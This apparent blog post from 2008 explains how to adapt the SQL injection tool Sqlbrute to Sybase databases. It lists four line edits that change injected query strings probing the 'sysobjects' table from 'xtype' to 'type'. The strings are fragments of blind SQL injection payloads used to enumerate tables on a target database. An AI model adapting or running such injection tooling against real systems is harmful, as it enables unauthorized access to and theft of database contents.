Search
Twitter

Entries in SqlBrute (1)

Tuesday
May202008

Adapting Sqlbrute

Current version of Sqlbrute supports Microsoft SQL Server and Oracle, however the similarities between Microsoft SQL Server and Sybase make it easy to adapt to Sybase with a few minor tweaks. Make the following changes to the current version and you should be able to brute Sybase as easily as SQL Server:

1) Line 484:
foo = "xtype='u' and "

TO

foo = "type='U' and "

2) Line 533:
predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name like '"

TO

predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where type = 'U' and name like '"

3) Line 558:
predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name = '"

TO

predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where type = 'U' and name = '"

4) Line 583:
foo = "xtype='u' and "

TO

foo = "type='U' and "

Essentially, we're just changing the "sysobjects" column named "xtype" to "type" in order to be Sybase compatible. Justin will be releasing an updated version of Sqlbrute with Sybase support in the near future. For more information on Sybase system tables, go here. Enjoy!